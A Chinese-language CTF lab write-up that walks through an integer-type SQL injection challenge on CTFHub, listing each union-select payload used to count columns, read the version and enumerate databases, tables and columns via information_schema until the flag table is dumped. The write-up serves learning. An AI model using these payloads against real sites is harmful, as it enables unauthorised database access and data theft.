CTFHub | 整数型注入

╰+攻爆jí腚メ 2024-04-01 10:05 76阅读 0赞

#### 0x00 前言 ####

CTFHub 专注网络安全、信息安全、白帽子技术的在线学习，实训平台。提供优质的赛事及学习服务，拥有完善的题目环境及配套 writeup ，降低 CTF 学习入门门槛，快速帮助选手成长，跟随主流比赛潮流。

#### 0x01 题目描述 ####

> **整数型注入:**
> 
> （无）

![690604a9bfb147558cfeb14e7061cedf.png][] 网页显示内容

#### 0x02 解题过程 ####

根据题目描述输入 1 进行测试，发现此题可能存在 SQL 注入漏洞。那么使用' and 1 = 1 ‘和' and 1 = 2’进行判断，此题存在 SQL 整数型漏洞注入。那么第一步先判断字段数量，然后检查数据库位置，知道数据库位置后查看数据库版本和数据库名。接着查看一下全部数据库名，并查看这些数据库的表名，发现一个表名为 flag 比较可疑。查看这个表名的全部字段后接着查看表中的数据得到此题 flag 。

**Ⅰ**根据网页显示内容输入1进行测试，发现此题可能存在SQL注入

![85418b1969d04139a5dc10646a2a6584.png][]

**Ⅱ**在URL末尾使用'and 1 = 1'和'and 1 = 2'验证是否存在SQL注入

![e54f3a90b4c344feac44e6fb7fdf4120.png][]

#payload
    and 1 = 1
    and 1 = 2

**Ⅲ**'and1 = 1'语句正常执行，回显正常

![436ba9745bc0436a8cea6da5406da126.png][]

and 1 = 1

**Ⅳ**'and1 = 2'语句正常执行，回显出错，说明此题存在SQL整数型注入

![850fbefa2b674dc596d39385da1e8c88.png][]

and 1 = 2

**Ⅴ**使用order by 判断字段数量，从order by 1开始

![1c1cfaf8100e449cb047403269dd3c8f.png][]

order by 1

**Ⅵ**判断字段2，使用order by 2

![9c2a2f66abc5443d99971e6aa3008f51.png][]

order by 2

**Ⅶ**判断字段3，使用order by 3，这里无回显，那么字段数量为2列

![3d8386334eef48ca92db1ead124dd0c0.png][]

order by 3

**Ⅷ**知道字段数量为2后，可以查看数据库位置，使用union select 1,2查看未发现数据

![1ef8ff41776f4f469b9b1ada817f6aaa.png][]

union select 1,2

**Ⅸ**判断数据可能不存在数据库中，在id=1中加入负号可以查看到不存在数据库中的数据

![b8d48f97b10949aaa4adff2e09b8c335.png][]

id=-1 union select 1,2

**Ⅹ**修改2为version()，查看数据库版本，发现数据库版本为MariaDB 10.3.22

![da341848730743bb8baf5ebbd01ab75b.png][]

id=-1 union select 1,version()

**ⅩⅠ**修改2为database()，查看数据库名，发现数据库版本为sqli

![d2ef501425c94962b4f372c6efa93563.png][]

id=-1 union select 1,database()

**ⅩⅡ**查看全部数据库名

![03adab05919941189102ef074eb877ae.png][]

id=-1 union select 1,group_concat(schema_name)from information_schema.schemata

**ⅩⅢ**分别查看刚才获取到的数据库全部表名，最后在sqli数据库中发现名为flag的可疑表名

![0750bef379b94e94861a46b764063d25.png][]

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

**ⅩⅣ**查看flag表中的全部字段名

![86afe7800fab4b8a875adb17e3eb653a.png][]

id=-1union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

**ⅩⅤ**查看flag表中的全部数据，发现此题flag

![274c6c2ae5ce494b9adf0b52bf3144f9.png][]

id=-1 union select 1,group_concat(flag) from sqli.flag

#### 0x03 SQL整数型注入 ####

**整数型注入漏洞判断：**

1.  payload：and 1 = 1，语句执行正常，网页回显无差异
2.  payload：and 1 = 2，语句执行正常，无法查询出结果，网页回显存在差异

#### **0x04 总结** ####

文章内容为学习记录的笔记，由于作者水平有限，文中若有错误与不足欢迎留言，便于及时更正。

[690604a9bfb147558cfeb14e7061cedf.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/ab1049a787054b0b9543a3a1fa316bac.png
[85418b1969d04139a5dc10646a2a6584.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/85df3ee7ace44d34913f584d2fb730e3.png
[e54f3a90b4c344feac44e6fb7fdf4120.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/728a5a5025d444f194ec01adc75560da.png
[436ba9745bc0436a8cea6da5406da126.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/765bf4b5e73b4810a592489aa208b462.png
[850fbefa2b674dc596d39385da1e8c88.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/669ef855cbbb4b74a7321c6f5ed0414d.png
[1c1cfaf8100e449cb047403269dd3c8f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/77435fae5e7e412abacbacb17581ce21.png
[9c2a2f66abc5443d99971e6aa3008f51.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/fd12dbc28acd4ef4ae1c5550cda5a2e4.png
[3d8386334eef48ca92db1ead124dd0c0.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/93a3becea7ba4c26942c6c0b644ecab5.png
[1ef8ff41776f4f469b9b1ada817f6aaa.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/d005630af4194d0c8579d07b11aa28eb.png
[b8d48f97b10949aaa4adff2e09b8c335.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/eb17cf3995c64c7f92cbc200cdef9076.png
[da341848730743bb8baf5ebbd01ab75b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/a58b63b9d1944fe9b44126a9110e4e68.png
[d2ef501425c94962b4f372c6efa93563.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/0e1f39e51c8a4775a059a526e025bb92.png
[03adab05919941189102ef074eb877ae.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/3b5c6064a65248648a7fdae6c5ab63f7.png
[0750bef379b94e94861a46b764063d25.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/76d87dbafc764e1182d9020090996ac7.png
[86afe7800fab4b8a875adb17e3eb653a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/0518baf1e70d4bd5a2077a9fe275e319.png
[274c6c2ae5ce494b9adf0b52bf3144f9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/6a0aa6350f6c4678b1aaeb7b7b955915.png